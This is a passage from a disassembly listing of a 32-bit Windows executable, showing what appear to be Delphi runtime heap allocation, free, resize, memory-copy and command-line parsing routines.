; ---------------------------------------------------------------------------


loc_402076:				; CODE XREF: sub_402018+56j
		cmp	ebx, 1000h
		jg	short loc_40208C
		mov	eax, ebx
		call	sub_401FE0
		mov	[esi], eax
		cmp	dword ptr [esi], 0
		jnz	short loc_4020EC


loc_40208C:				; CODE XREF: sub_402018+64j
		mov	eax, ebx
		call	sub_401F80
		test	al, al
		jnz	short loc_4020A1
		xor	eax, eax
		mov	[esp+1Ch+var_1C], eax
		jmp	loc_402155
; ---------------------------------------------------------------------------


loc_4020A1:				; CODE XREF: sub_402018+7Dj
		cmp	ebx, [ebp+0]
		jg	short loc_40202F
		sub	[ebp+0], ebx
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_4020B7
		add	ebx, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax


loc_4020B7:				; CODE XREF: sub_402018+95j
		mov	eax, ds:dword_407608
		mov	[esp+1Ch+var_18], eax
		add	ds:dword_407608, ebx
		mov	eax, ebx
		or	eax, 2
		mov	edx, [esp+1Ch+var_18]
		mov	[edx], eax
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		mov	[esp+1Ch+var_1C], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx
		jmp	short loc_402155
; ---------------------------------------------------------------------------


loc_4020EC:				; CODE XREF: sub_402018+23j
					; sub_402018+34j ...
		mov	eax, [esi]
		call	sub_401ADC
		mov	eax, [esi]
		mov	edx, [eax+8]
		mov	eax, edx
		sub	eax, ebx
		cmp	eax, 0Ch
		jl	short loc_40210D
		mov	edx, [esi]
		add	edx, ebx
		xchg	eax, edx
		call	sub_401DB0
		jmp	short loc_40212B
; ---------------------------------------------------------------------------


loc_40210D:				; CODE XREF: sub_402018+E7j
		mov	ebx, edx
		mov	eax, [esi]
		cmp	eax, [edi]
		jnz	short loc_40211C
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[edi], eax


loc_40211C:				; CODE XREF: sub_402018+FBj
		mov	eax, [esi]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		and	dword ptr [eax], 0FFFFFFFEh


loc_40212B:				; CODE XREF: sub_402018+F3j
		mov	eax, [esi]
		mov	[esp+1Ch+var_18], eax
		mov	eax, ebx
		or	eax, 2
		mov	edx, [esp+1Ch+var_18]
		mov	[edx], eax
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		mov	[esp+1Ch+var_1C], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx


loc_402155:				; CODE XREF: sub_402018+84j
					; sub_402018+D2j
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402160	proc near		; CODE XREF: sub_4026E8+5Dp
					; sub_4027B4+Ap ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		mov	ebx, eax
		cmp	ds:byte_4075AC,	0
		jnz	short loc_40217B
		call	sub_401904
		test	al, al
		jz	short loc_402183


loc_40217B:				; CODE XREF: sub_402160+10j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_40218D


loc_402183:				; CODE XREF: sub_402160+19j
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_402303
; ---------------------------------------------------------------------------


loc_40218D:				; CODE XREF: sub_402160+21j
		xor	edx, edx
		push	ebp
		push	offset loc_4022FC
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_407035,	0
		jz	short loc_4021AE
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_4021AE:				; CODE XREF: sub_402160+42j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_4021BE
		mov	ebx, 0Ch


loc_4021BE:				; CODE XREF: sub_402160+57j
		cmp	ebx, 1000h
		jg	loc_402276
		mov	eax, ebx
		test	eax, eax
		jns	short loc_4021D3
		add	eax, 3


loc_4021D3:				; CODE XREF: sub_402160+6Ej
		sar	eax, 2
		mov	edx, ds:dword_40760C
		mov	edx, [edx+eax*4-0Ch]
		mov	[ebp+var_8], edx
		cmp	[ebp+var_8], 0
		jz	loc_402276
		mov	edx, [ebp+var_8]
		add	edx, ebx
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_14]
		and	dword ptr [edx], 0FFFFFFFEh
		mov	edx, [ebp+var_8]
		mov	edx, [edx+4]
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_8]
		jnz	short loc_40221A
		mov	edx, ds:dword_40760C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		jmp	short loc_402240
; ---------------------------------------------------------------------------


loc_40221A:				; CODE XREF: sub_402160+AAj
		mov	edx, ds:dword_40760C
		mov	ecx, [ebp+var_10]
		mov	[edx+eax*4-0Ch], ecx
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[eax+4], edx
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		mov	[eax], edx


loc_402240:				; CODE XREF: sub_402160+B8j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		or	eax, 2
		mov	edx, [ebp+var_14]
		mov	[edx], eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx
		call	sub_403090
		jmp	loc_402303
; ---------------------------------------------------------------------------


loc_402276:				; CODE XREF: sub_402160+64j
					; sub_402160+87j
		cmp	ebx, ds:dword_407604
		jg	short loc_4022D1
		sub	ds:dword_407604, ebx
		cmp	ds:dword_407604, 0Ch
		jge	short loc_40229A
		add	ebx, ds:dword_407604
		xor	eax, eax
		mov	ds:dword_407604, eax


loc_40229A:				; CODE XREF: sub_402160+12Bj
		mov	eax, ds:dword_407608
		mov	[ebp+var_14], eax
		add	ds:dword_407608, ebx
		mov	eax, ebx
		or	eax, 2
		mov	edx, [ebp+var_14]
		mov	[edx], eax
		mov	eax, [ebp+var_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_40759C
		sub	ebx, 4
		add	ds:dword_4075A0, ebx
		call	sub_403090
		jmp	short loc_402303
; ---------------------------------------------------------------------------


loc_4022D1:				; CODE XREF: sub_402160+11Cj
		mov	eax, ebx
		call	sub_402018
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402303


loc_4022E8:				; CODE XREF: sub_402160+1A1j
		cmp	ds:byte_407035,	0
		jz	short locret_4022FB
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection

locret_4022FB:				; CODE XREF: sub_402160+18Fj
		retn
; ---------------------------------------------------------------------------


loc_4022FC:				; DATA XREF: sub_402160+30o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4022E8
; ---------------------------------------------------------------------------


loc_402303:				; CODE XREF: sub_402160+28j
					; sub_402160+111j ...
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402160	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40230C	proc near		; CODE XREF: sub_401BF0+1Cp
					; sub_4026E8+8Dp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:dword_4075B0, eax
		cmp	ds:byte_4075AC,	0
		jnz	short loc_402344
		call	sub_401904
		test	al, al
		jnz	short loc_402344
		mov	ds:dword_4075B0, 8
		mov	[ebp+var_4], 8
		jmp	loc_4024DA
; ---------------------------------------------------------------------------


loc_402344:				; CODE XREF: sub_40230C+17j
					; sub_40230C+20j
		xor	edx, edx
		push	ebp
		push	offset loc_4024D3
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_407035,	0
		jz	short loc_402365
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_402365:				; CODE XREF: sub_40230C+4Dj
		mov	[ebp+var_8], ebx
		mov	eax, [ebp+var_8]
		sub	eax, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ebx, [eax]
		test	bl, 2
		jnz	short loc_40238A
		mov	ds:dword_4075B0, 9
		jmp	loc_4024AA
; ---------------------------------------------------------------------------


loc_40238A:				; CODE XREF: sub_40230C+6Dj
		dec	ds:dword_40759C
		mov	eax, ebx
		and	eax, 7FFFFFFCh
		sub	eax, 4
		sub	ds:dword_4075A0, eax
		test	bl, 1
		jz	short loc_4023F8
		mov	eax, [ebp+var_8]
		sub	eax, 0Ch
		mov	eax, [eax+8]
		cmp	eax, 0Ch
		jl	short loc_4023BA
		test	eax, 80000003h
		jz	short loc_4023C9


loc_4023BA:				; CODE XREF: sub_40230C+A5j
		mov	ds:dword_4075B0, 0Ah
		jmp	loc_4024AA
; ---------------------------------------------------------------------------


loc_4023C9:				; CODE XREF: sub_40230C+ACj
		mov	edx, [ebp+var_8]
		sub	edx, eax
		mov	[ebp+var_10], edx
		mov	edx, [ebp+var_10]
		cmp	eax, [edx+8]
		jz	short loc_4023E8
		mov	ds:dword_4075B0, 0Ah
		jmp	loc_4024AA
; ---------------------------------------------------------------------------


loc_4023E8:				; CODE XREF: sub_40230C+CBj
		add	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		call	sub_401ADC


loc_4023F8:				; CODE XREF: sub_40230C+97j
		and	ebx, 7FFFFFFCh
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		cmp	eax, ds:dword_407608
		jnz	short loc_40243D
		sub	ds:dword_407608, ebx
		add	ds:dword_407604, ebx
		cmp	ds:dword_407604, 3C00h
		jle	short loc_40242E
		call	sub_401EA8


loc_40242E:				; CODE XREF: sub_40230C+11Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_403090
		jmp	loc_4024DA
; ---------------------------------------------------------------------------


loc_40243D:				; CODE XREF: sub_40230C+103j
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		test	al, 2
		jz	short loc_402464
		and	eax, 7FFFFFFCh
		cmp	eax, 4
		jge	short loc_40245C
		mov	ds:dword_4075B0, 0Bh
		jmp	short loc_4024AA
; ---------------------------------------------------------------------------


loc_40245C:				; CODE XREF: sub_40230C+142j
		mov	eax, [ebp+var_C]
		or	dword ptr [eax], 1
		jmp	short loc_4024A0
; ---------------------------------------------------------------------------


loc_402464:				; CODE XREF: sub_40230C+138j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_402484
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0
		jz	short loc_402484
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_402490


loc_402484:				; CODE XREF: sub_40230C+165j
					; sub_40230C+16Dj
		mov	ds:dword_4075B0, 0Bh
		jmp	short loc_4024AA
; ---------------------------------------------------------------------------


loc_402490:				; CODE XREF: sub_40230C+176j
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		add	ebx, eax
		mov	eax, [ebp+var_10]
		call	sub_401ADC


loc_4024A0:				; CODE XREF: sub_40230C+156j
		mov	edx, ebx
		mov	eax, [ebp+var_8]
		call	sub_401DB0


loc_4024AA:				; CODE XREF: sub_40230C+79j
					; sub_40230C+B8j ...
		mov	eax, ds:dword_4075B0
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4024DA


loc_4024BF:				; CODE XREF: sub_40230C+1CCj
		cmp	ds:byte_407035,	0
		jz	short locret_4024D2
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection

locret_4024D2:				; CODE XREF: sub_40230C+1BAj
		retn
; ---------------------------------------------------------------------------


loc_4024D3:				; DATA XREF: sub_40230C+3Bo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4024BF
; ---------------------------------------------------------------------------


loc_4024DA:				; CODE XREF: sub_40230C+33j
					; sub_40230C+12Cj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40230C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4024E4	proc near		; CODE XREF: sub_4026E8+4Dp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_4024FD
		mov	ebx, 0Ch


loc_4024FD:				; CODE XREF: sub_4024E4+12j
		sub	eax, 4
		mov	[esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_1C]
		mov	esi, [eax]
		and	esi, 7FFFFFFCh
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax
		cmp	esi, ebx
		jnz	short loc_402522
		mov	al, 1
		jmp	loc_4026DF
; ---------------------------------------------------------------------------


loc_402522:				; CODE XREF: sub_4024E4+35j
		cmp	esi, ebx
		jle	loc_4025BA
		mov	ebp, esi
		sub	ebp, ebx
		mov	edx, [esp+1Ch+var_18]
		cmp	edx, ds:dword_407608
		jnz	short loc_402566
		sub	ds:dword_407608, ebp
		add	ds:dword_407604, ebp
		cmp	ds:dword_407604, 0Ch
		jge	loc_4026C2
		add	ds:dword_407608, ebp
		sub	ds:dword_407604, ebp
		mov	ebx, esi
		jmp	loc_4026C2
; ---------------------------------------------------------------------------


loc_402566:				; CODE XREF: sub_4024E4+54j
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		test	byte ptr [eax],	2
		jnz	short loc_40258B
		mov	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], eax
		mov	eax, [esp+1Ch+var_14]
		add	ebp, [eax+8]
		mov	eax, [esp+1Ch+var_14]
		call	sub_401ADC


loc_40258B:				; CODE XREF: sub_4024E4+8Dj
		cmp	ebp, 0Ch
		jl	short loc_4025B3
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		or	ebp, 2
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_18]
		add	eax, 4
		call	sub_401BF0
		jmp	loc_4026C2
; ---------------------------------------------------------------------------


loc_4025B3:				; CODE XREF: sub_4024E4+AAj
		mov	ebx, esi
		jmp	loc_4026C2
; ---------------------------------------------------------------------------


loc_4025BA:				; CODE XREF: sub_4024E4+40j
					; sub_4024E4+1D5j
		mov	edi, ebx
		sub	edi, esi
		mov	eax, [esp+1Ch+var_18]
		cmp	eax, ds:dword_407608
		jnz	short loc_40262F
		cmp	edi, ds:dword_407604
		jg	short loc_402621
		sub	ds:dword_407604, edi
		add	ds:dword_407608, edi
		cmp	ds:dword_407604, 0Ch
		jge	short loc_4025FF
		mov	eax, ds:dword_407604
		add	ds:dword_407608, eax
		add	ebx, ds:dword_407604
		xor	eax, eax
		mov	ds:dword_407604, eax


loc_4025FF:				; CODE XREF: sub_4024E4+101j
		mov	eax, ebx
		sub	eax, esi
		add	ds:dword_4075A0, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	eax, [eax]
		and	eax, 80000003h
		or	ebx, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	[eax], ebx
		mov	al, 1
		jmp	loc_4026DF
; ---------------------------------------------------------------------------


loc_402621:				; CODE XREF: sub_4024E4+ECj
		call	sub_401EA8
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax


loc_40262F:				; CODE XREF: sub_4024E4+E4j
		mov	eax, [esp+1Ch+var_18]
		test	byte ptr [eax],	2
		jnz	short loc_402687
		mov	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], eax
		mov	edx, [esp+1Ch+var_14]
		mov	ebp, [edx+8]
		cmp	edi, ebp
		jle	short loc_402655
		add	eax, ebp
		mov	[esp+1Ch+var_18], eax
		sub	edi, ebp
		jmp	short loc_402687
; ---------------------------------------------------------------------------


loc_402655:				; CODE XREF: sub_4024E4+165j
		mov	eax, [esp+1Ch+var_14]
		call	sub_401ADC
		sub	ebp, edi
		cmp	ebp, 0Ch
		jl	short loc_402673
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	edx, ebp
		call	sub_401DB0
		jmp	short loc_4026C2
; ---------------------------------------------------------------------------


loc_402673:				; CODE XREF: sub_4024E4+17Fj
		add	ebx, ebp
		mov	eax, [esp+1Ch+var_1C]
		add	eax, ebx
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+var_18]
		and	dword ptr [eax], 0FFFFFFFEh
		jmp	short loc_4026C2
; ---------------------------------------------------------------------------


loc_402687:				; CODE XREF: sub_4024E4+152j
					; sub_4024E4+16Fj
		mov	eax, [esp+1Ch+var_18]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_4026BE
		and	eax, 7FFFFFFCh
		add	eax, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_18], eax
		mov	edx, edi
		mov	eax, [esp+1Ch+var_18]
		call	sub_401FAC
		test	al, al
		jz	short loc_4026BE
		mov	eax, [esp+1Ch+var_1C]
		add	eax, esi
		mov	[esp+1Ch+var_18], eax
		jmp	loc_4025BA
; ---------------------------------------------------------------------------


loc_4026BE:				; CODE XREF: sub_4024E4+1AEj
					; sub_4024E4+1CAj
		xor	eax, eax
		jmp	short loc_4026DF
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_4024E4+69j
					; sub_4024E4+7Dj ...
		mov	eax, ebx
		sub	eax, esi
		add	ds:dword_4075A0, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	eax, [eax]
		and	eax, 80000003h
		or	ebx, eax
		mov	eax, [esp+1Ch+var_1C]
		mov	[eax], ebx
		mov	al, 1


loc_4026DF:				; CODE XREF: sub_4024E4+39j
					; sub_4024E4+138j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4024E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026E8	proc near		; CODE XREF: sub_402804+Dp
					; DATA XREF: DATA:off_40602Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_4075AC,	0
		jnz	short loc_402710
		call	sub_401904
		test	al, al
		jnz	short loc_402710
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_4027A8
; ---------------------------------------------------------------------------


loc_402710:				; CODE XREF: sub_4026E8+13j
					; sub_4026E8+1Cj
		xor	edx, edx
		push	ebp
		push	offset loc_4027A1
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_407035,	0
		jz	short loc_402731
		push	offset dword_4075B4
		call	sub_4010E4	; RtlEnterCriticalSection


loc_402731:				; CODE XREF: sub_4026E8+3Dj
		mov	edx, esi
		mov	eax, ebx
		call	sub_4024E4
		test	al, al
		jz	short loc_402743
		mov	[ebp+var_4], ebx
		jmp	short loc_402780
; ---------------------------------------------------------------------------


loc_402743:				; CODE XREF: sub_4026E8+54j
		mov	eax, esi
		call	sub_402160
		mov	[ebp+var_8], eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_402762
		mov	eax, esi


loc_402762:				; CODE XREF: sub_4026E8+76j
		cmp	[ebp+var_8], 0
		jz	short loc_40277A
		mov	edx, [ebp+var_8]
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_4028C8
		mov	eax, ebx
		call	sub_40230C


loc_40277A:				; CODE XREF: sub_4026E8+7Ej
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_402780:				; CODE XREF: sub_4026E8+59j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4027A8


loc_40278D:				; CODE XREF: sub_4026E8+BEj
		cmp	ds:byte_407035,	0
		jz	short locret_4027A0
		push	offset dword_4075B4
		call	sub_4010EC	; RtlLeaveCriticalSection

locret_4027A0:				; CODE XREF: sub_4026E8+ACj
		retn
; ---------------------------------------------------------------------------


loc_4027A1:				; DATA XREF: sub_4026E8+2Bo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_40278D
; ---------------------------------------------------------------------------


loc_4027A8:				; CODE XREF: sub_4026E8+23j
					; DATA XREF: sub_4026E8+A0o
		mov	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4026E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027B4	proc near		; CODE XREF: sub_4035F8+Cp
					; sub_405078+22p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_4027D6
		mov	eax, ebx
		call	ds:off_406024
		mov	[esp+8+var_8], eax
		cmp	[esp+8+var_8], 0
		jnz	short loc_4027DB
		mov	al, 1
		call	sub_4028AC
; ---------------------------------------------------------------------------
		jmp	short loc_4027DB
; ---------------------------------------------------------------------------


loc_4027D6:				; CODE XREF: sub_4027B4+6j
		xor	eax, eax
		mov	[esp+8+var_8], eax


loc_4027DB:				; CODE XREF: sub_4027B4+17j
					; sub_4027B4+20j
		mov	eax, [esp+8+var_8]
		pop	edx
		pop	ebx
		retn
sub_4027B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027E4	proc near		; CODE XREF: sub_403560:loc_40357Cp
					; sub_403584+21p ...
		push	ebx
		test	eax, eax
		jz	short loc_4027FE
		call	ds:off_406028
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_402800
		mov	al, 2
		call	sub_4028AC
; ---------------------------------------------------------------------------
		jmp	short loc_402800
; ---------------------------------------------------------------------------


loc_4027FE:				; CODE XREF: sub_4027E4+3j
		xor	ebx, ebx


loc_402800:				; CODE XREF: sub_4027E4+Fj
					; sub_4027E4+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_4027E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402804	proc near		; CODE XREF: sub_403854+22p
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_40283C
		test	edx, edx
		jz	short loc_402826
		push	eax
		mov	eax, ecx
		call	ds:off_40602C
		pop	ecx
		or	eax, eax
		jz	short loc_402835
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_40281F:				; CODE XREF: sub_402804+2Ej
		mov	al, 2
		jmp	sub_4028AC
; ---------------------------------------------------------------------------


loc_402826:				; CODE XREF: sub_402804+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_406028
		or	eax, eax
		jnz	short loc_40281F
		retn
; ---------------------------------------------------------------------------


loc_402835:				; CODE XREF: sub_402804+16j
					; sub_402804+48j
		mov	al, 1
		jmp	sub_4028AC
; ---------------------------------------------------------------------------


loc_40283C:				; CODE XREF: sub_402804+4j
		test	edx, edx
		jz	short locret_402850
		push	eax
		mov	eax, edx
		call	ds:off_406024
		pop	ecx
		or	eax, eax
		jz	short loc_402835
		mov	[ecx], eax

locret_402850:				; CODE XREF: sub_402804+3Aj
		retn
sub_402804	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402854	proc near		; CODE XREF: sub_402860+42p
					; CODE:0040313Fp
		mov	ds:dword_406004, edx
		call	sub_403548
sub_402854	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_402860	proc near		; CODE XREF: sub_4028AC+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_407008, 0
		jz	short loc_40287C
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_407008


loc_40287C:				; CODE XREF: sub_402860+10j
		test	bl, bl
		jnz	short loc_40288D
		call	sub_403BC4
		mov	ebx, [eax+4]
		jmp	short loc_40289C
; ---------------------------------------------------------------------------


loc_40288D:				; CODE XREF: sub_402860+1Ej
		cmp	bl, 18h
		ja	short loc_40289C
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_406030[eax]


loc_40289C:				; CODE XREF: sub_402860+2Bj
					; sub_402860+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_402854
sub_402860	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4028AC	proc near		; CODE XREF: sub_4027B4+1Bp
					; sub_4027E4+13p ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_402860
sub_4028AC	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4028B8	proc near		; CODE XREF: sub_402AD0+38p
					; sub_402AD0+4Cp
		push	ebx
		mov	ebx, eax
		call	sub_403BC4
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_4028B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4028C8	proc near		; CODE XREF: sub_4026E8+86p
					; sub_402B28+14p ...
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_4028E7
		jz	short loc_402905
		sar	ecx, 2
		js	short loc_402905
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4028E7:				; CODE XREF: sub_4028C8+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_402905
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld


loc_402905:				; CODE XREF: sub_4028C8+Cj
					; sub_4028C8+11j ...
		pop	edi
		pop	esi
		retn
sub_4028C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_402908	proc near		; CODE XREF: sub_402A6C+44p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_24], edx
		mov	[esp+28h+var_28], eax
		mov	esi, esp
		lea	edi, [esp+28h+var_14]
		jmp	short loc_402928
; ---------------------------------------------------------------------------


loc_40291E:				; CODE XREF: sub_402908+2Bj
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax


loc_402928:				; CODE XREF: sub_402908+14j
					; sub_402908+3Fj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_402935
		cmp	bl, 20h
		jbe	short loc_40291E


loc_402935:				; CODE XREF: sub_402908+26j
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_402949
		mov	eax, [esi]
		cmp	byte ptr [eax+1], 22h
		jnz	short loc_402949
		add	dword ptr [esi], 2
		jmp	short loc_402928
; ---------------------------------------------------------------------------


loc_402949:				; CODE XREF: sub_402908+32j
					; sub_402908+3Aj
		xor	ebp, ebp
		mov	eax, [esi]
		mov	[esp+28h+var_1C], eax
		jmp	short loc_4029AE
; ---------------------------------------------------------------------------


loc_402953:				; CODE XREF: sub_402908+ABj
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_40299A
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_40297A
; ---------------------------------------------------------------------------


loc_402966:				; CODE XREF: sub_402908+7Dj
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [edi]
		sub	eax, [esi]
		add	ebp, eax
		mov	eax, [edi]
		mov	[esi], eax


loc_40297A:				; CODE XREF: sub_402908+5Cj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_402987
		cmp	bl, 22h
		jnz	short loc_402966


loc_402987:				; CODE XREF: sub_402908+78j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_4029AE
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
